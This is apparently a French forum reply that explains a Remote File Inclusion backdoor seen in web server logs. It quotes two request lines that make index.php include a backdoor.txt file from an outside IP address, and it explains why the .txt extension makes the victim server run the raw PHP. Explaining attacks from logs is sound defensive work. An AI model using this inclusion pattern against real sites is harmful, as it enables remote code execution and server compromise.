Salut,
la backdoor est incluse via une RFI (Remote File Inclusion). On le voit sur deux lignes de log :
[...] GET index.php?page=http://199.230.171.106/backdoor.txt [...]
[...] GET index.php?page=http://199.230.171.106/backdoor.txt&file=pass.php [...]Le but, c'est que le contenu php de la backdoor soit executé sur le serveur de l'attaqué, et non pas sur le serveur de l'attaquant. Si l'extension était .php, alors le code serait exécuté par le serveur 199.230.171.106 et le résultat serait inclus là où la variable $_GET['page'] est incluse.
Ici, le comportement souhaité, c'est que le code php lui même soit inclus
en dur dans la page index.php du serveur attaqué. Donc on veut que la réponse à l'appel
http://199.230.171.106/backdoor.? renvoie le code php lui même. Quoi de mieux que de l'appeler backdoor.txt ?

Ensuite, comme c'est index
.php et qu'il y a le code php brut de backdoor.txt, alors ça sera exécuté à ce moment là, par le serveur attaqué.
C'est pour cela que l'extension .txt est choisie.